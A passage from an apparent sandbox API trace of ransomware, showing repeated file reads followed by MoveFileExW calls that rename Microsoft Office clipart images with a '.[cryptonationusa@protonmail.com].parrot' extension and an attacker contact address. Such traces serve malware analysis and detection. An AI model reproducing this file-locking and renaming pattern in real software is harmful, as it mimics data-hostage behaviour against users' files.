dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.281] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x73af, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.282] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.283] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7297, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7297, lpOverlapped=0x0) returned 1 [0150.285] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.286] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x73af, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.287] CloseHandle (hObject=0x27c) returned 1 [0150.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.293] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.294] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.294] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.295] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.295] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.298] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.298] CloseHandle (hObject=0x27c) returned 1 [0150.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0150.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.304] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.305] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.306] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.310] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.310] CloseHandle (hObject=0x27c) returned 1 [0150.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.323] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.323] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.325] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.328] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.328] CloseHandle (hObject=0x27c) returned 1 [0150.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.334] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.335] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.337] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.341] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.341] CloseHandle (hObject=0x27c) returned 1 [0150.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.350] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.350] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.350] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.360] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.362] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.364] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.364] CloseHandle (hObject=0x27c) returned 1 [0150.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.399] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.399] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.399] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.401] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.404] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.405] CloseHandle (hObject=0x27c) returned 1 [0150.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.412] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeed, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.412] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.414] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdd5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdd5, lpOverlapped=0x0) returned 1 [0150.415] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.415] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.415] CloseHandle (hObject=0x27c) returned 1 [0150.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0150.420] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.420] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.420] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.422] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.425] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.425] CloseHandle (hObject=0x27c) returned 1 [0150.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.459] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d20, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.459] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.460] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.461] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.461] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7c08, lpOverlapped=0x0) returned 1 [0150.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.465] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.465] CloseHandle (hObject=0x288) returned 1 [0150.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.473] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a14, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.473] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.476] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.476] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x48fc, lpOverlapped=0x0) returned 1 [0150.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.478] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.478] CloseHandle (hObject=0x288) returned 1 [0150.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.483] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.483] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.483] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.485] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.485] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.486] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.488] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.488] CloseHandle (hObject=0x288) returned 1 [0150.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.490] HeapFree (in: 